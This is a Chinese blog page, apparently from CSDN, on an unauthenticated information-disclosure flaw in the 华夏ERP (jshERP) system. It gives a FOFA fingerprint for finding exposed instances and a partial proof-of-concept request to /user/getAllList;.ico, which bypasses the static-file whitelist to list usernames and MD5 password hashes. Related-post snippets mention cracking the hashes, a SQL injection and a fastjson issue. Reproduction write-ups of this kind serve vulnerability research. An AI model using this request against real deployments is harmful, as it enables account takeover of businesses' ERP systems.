华夏ERP getAllList；.ico敏感信息泄露漏洞

原创 已于 2023-12-22 14:30:26 修改 · 1.2k 阅读 · 7
于 2023-12-22 14:28:57 首次发布
这篇文章揭示了基于SpringBoot的华夏ERPSaaS平台存在的信息泄露漏洞，允许通过特定URL获取用户账号密码。漏洞复现方法和使用MD5解密登录的提示给出，建议对相关接口进行访问限制和安全增强。

漏洞描述

华夏ERP是基于SpringBoot框架和SaaS模式，立志为中小企业提供开源好用的ERP软件，目前专注进销存+财务功能。主要模块有零售管理、采购管理、销售管理、仓库管理、财务管理、报表查询、系统管理等。支持预付款、收入支出、仓库调拨、组装拆卸、订单等特色功能。拥有库存状况、出入库统计等报表。同时对角色和权限进行了细致全面控制，精确到每个按钮和菜单。该系统存在信息泄露漏洞，可以获取到系统的账号密码。

资产测绘

body=“jshERP-boot”

漏洞影响

开源ERP系统jshERP所有版本
在这里插入图片描述

漏洞复现

POC:

GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: your_ip
User-Agent
标签
#安全 #web安全
最低0.47元/天 解锁文章
华夏ERP_v2.3.1最新版SQL与RCE的审计过程1
08-03
前言认证绕过华夏ERP_v2.3.1最新版SQL与RCE的审计过程1.6. public class LogCostFilter implements Filt
jshERP开源进销存软件
07-07
jshERP完整开源版J2EE代码 很多人说jshERP是目前唯一完整开源的进销存系统 虽然目前只有进销存+财务的功能，但后面将会推出ERP的全部功能，大家一起努力吧 系统部署初始账号：jsh，密码：123456，部署如有问题请联系 源码托管地址：https://git.oschina.net/jishenghua/JSH_ERP 开发初衷 jshERP立志为中小企业提供免费好用的ERP软件，降低企业的信息化成本 个人开发者也可以使用jshERP进行二次开发，承接外包ERP项目 初学JAVA的小伙伴可以下载源代码来进行学习交流 技术框架 核心框架：Spring Framework 3.0.5 视图框架：Struts 2.2.3 持久层框架：Hibernate 3.0 日志管理：Log4j 1.2.16 JS框架：Jquery 1.8.0 UI框架: EasyUI 1.3.5 桌面框架: HoorayOS 项目管理框架: Maven3.2.3 开发环境 建议开发者使用以下环境，可以避免版本带来的问题 IDE: MyEclipse8.5+/Eclipse4.4+ DB: Mysql5.1 JDK: JDK1.6+ WEB: Tomcat6.0+ Maven: Maven3.2.3+ 为方便大家搭建开发环境，分享了下载地址 http://pan.baidu.com/s/1nuKnlNV 运行环境 WEB服务器：Tomcat6.0+ 数据库服务器：Mysql5.1 JAVA平台: JRE1.6+ 操作系统：Windows、Linux等 开源说明 本系统100%开源，遵守Apache2.0协议
​华夏ERP存在泄露用户名和密码敏感漏洞（CNVD-2020-63964）
失心少年
06-19 1192
华夏ERP基于SpringBoot框架、SaaS模式，立志为中小企业提供开源好用的ERP软件，目前专注进销存+财务功能。
[漏洞复现]华夏erp账号密码泄露
qq_17754023的博客
06-22 2176
描述华夏 ERP 是一个基于SpringBoot框架和 SaaS模式的系统。华夏 ERP 存在帐号密码泄露漏洞，攻击者可利用该漏洞获取系统所有账号密码从而登录系统进行恶意攻击。目前官方暂未发布安全版本修复此漏洞，建议联系厂商获取加固建议。fofa语法："jshERP-boot"
华夏ERP getAllList信息泄露漏洞复现（CVE-2024-0490）
0xSec
01-16 2624
华夏ERP 系统中存在一个问题，被评定为有问题的。该问题影响了文件/user/getAllList的某些未知处理过程。未经身份验证的攻击者可以利用此问题获取后台用户名密码列表。可导致后台被控，漏洞已被公开披露，可能被利用。
华夏ERP信息泄露漏漏洞复现 [附POC]
薛定谔嘚喵博客
11-27 623
该系统存在敏感信息泄露漏洞，通过此漏洞攻击者可以获取系统用户，登录用户名，密码，职位等个人敏感信息。
华夏ERP存在泄露用户名和密码敏感漏洞复现
m0_49025459的博客
07-18 789
密码是MD5加密的，我们只需要正常的去解密，然后输入账号密码即可。
华夏账号密码信息泄露漏洞-漏洞复现
weixin_43167326的博客
01-20 966
jshERP立志为中小企业提供开源好用的。
华夏ERP信息泄露
故事讲予风听
08-06 784
华夏ERP是一种企业资源规划（ERP）软件，旨在为企业提供全面的信息管理和集成解决方案，以提高效率、降低成本并优化业务流程。华夏ERP通常用于中小型企业。华夏ERP前台泄露了某api接口，恶意攻击者可通过调用该接口，对用户的账号和密码进行非授权访问，在获取到账号和密码后，恶意攻击者可接管后台。定期备份和灾难恢复计划：定期备份敏感信息，并建立有效的灾难恢复计划，以便在数据泄露事件发生时能够快速恢复数据。定期更新和修补软件漏洞：及时更新和修补系统和应用程序的漏洞，以减少攻击者利用漏洞获取敏感信息的可能性。
华夏ERP存在泄露用户名和密码敏感漏洞（CNVD-2020-63964）
nnn2188185的博客
06-16 3118
华夏ERP基于SpringBoot框架、SaaS模式，立志为中小企业提供开源好用的ERP软件，目前专注进销存+财务功能。 华夏ERP系统存在敏感信息漏洞，攻击者可利用该漏洞获取敏感信息。
华夏ERP3.1权限绕过代码审计
qq_58000413的博客
09-27 552
这里需要关注的点是ignoredList值，观察以下代码发现ignoredList与ignoredUrl有关。这里需要关注的点是verify方法，我们唯一可以控制的地方。这是poc很明显就是绕过权限，我们分析filter里面的代码。因此poc中结尾包含".ico"，即可绕过权限，这里使用分号隔开从而绕过权限。ignoredUrl的值是请求中默认的，为".ico"
华夏ERP账号密码泄露漏+RCE
weixin_62352348的博客
01-18 1145
华夏ERP账号密码泄露漏+RCE
「Java代码审计」华夏ERP3.0代码审计
qq_50854662的博客
10-13 1269
「Java代码审计」华夏ERP3.0代码审计
【代码审计】华夏ERP-v2.3 三处安全问题分析
uuzeray的博客
11-04 653
进到UserMapperEx.xml，看到username和loginname直接拼接进了sql语句。再来看ignoreUrl，就是.css .js .jpg .png .gif .ico这些静态文件。问题出在这部分使用的是contains，只要传入的url中存在白名单字符串即可。还是用上面的接口来看，如果没有鉴权Cookie会被重定向到login.html。最终走到起点，/{apiName}/list，传入search参数。pom依赖里有1.2.55的fastjson，可以打。接下来关注这个功能点。
漏洞复现 POC 综合
qq_56895879的博客
08-14 1881
漏洞复现
某ERP系统信息泄露登录后台
失心少年
07-29 324
某ERP前台泄露了某api接口，恶意攻击者可通过调用该接口，对用户的账号和密码进行非授权访问，在获取到账号和密码后，恶意攻击者可接管后台。
[漏洞分析]华夏ERP SpringBoot框架下的SaaS账号安全风险剖析
weixin_29306875的博客
02-16 688
本文深入剖析了华夏ERP系统在SpringBoot框架下暴露的高危安全漏洞。该漏洞允许攻击者无需认证即可通过特定接口批量获取所有用户的账号和MD5加密密码，结合脆弱的密码存储机制，导致严重的账号密码泄露风险，对SaaS多租户业务构成严重威胁。文章提供了技术原理分析、影响评估及加固建议。
【复现】某某ERP 信息泄露漏洞_49
fushuang333的博客
02-14 1439
【复现】某某ERP 信息泄露漏洞，未授权导致一些敏感配置信息泄露，可能造成系统危害以及重要信息泄露。
华为手机地震预警全面升级，提前开启筑牢“安全防线”
最新发布
bineans的博客
07-01 310
2026年4月17日，华为正式完成全系手机终端设备接入中国地震预警网统一信息服务，成为行业首批实现“全机型、全系统版本”接入国家统一地震预警信息的科技企业。依托中国地震局的国家级权威数据，华为以硬核科技赋能应急防护，为亿万用户构建起“权威统一、稳定可靠、广域覆盖”的地震安全防线。此次事件中，华为手机向1711万用户成功推送预警消息，结合其他渠道，总覆盖人数超2000万，创下我国地震预警工程竣工以来单次事件手机触达人数之最，为用户争取避险黄金时间，守护每一个人。完成设置，即可享受国家级统一地震预警服务。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值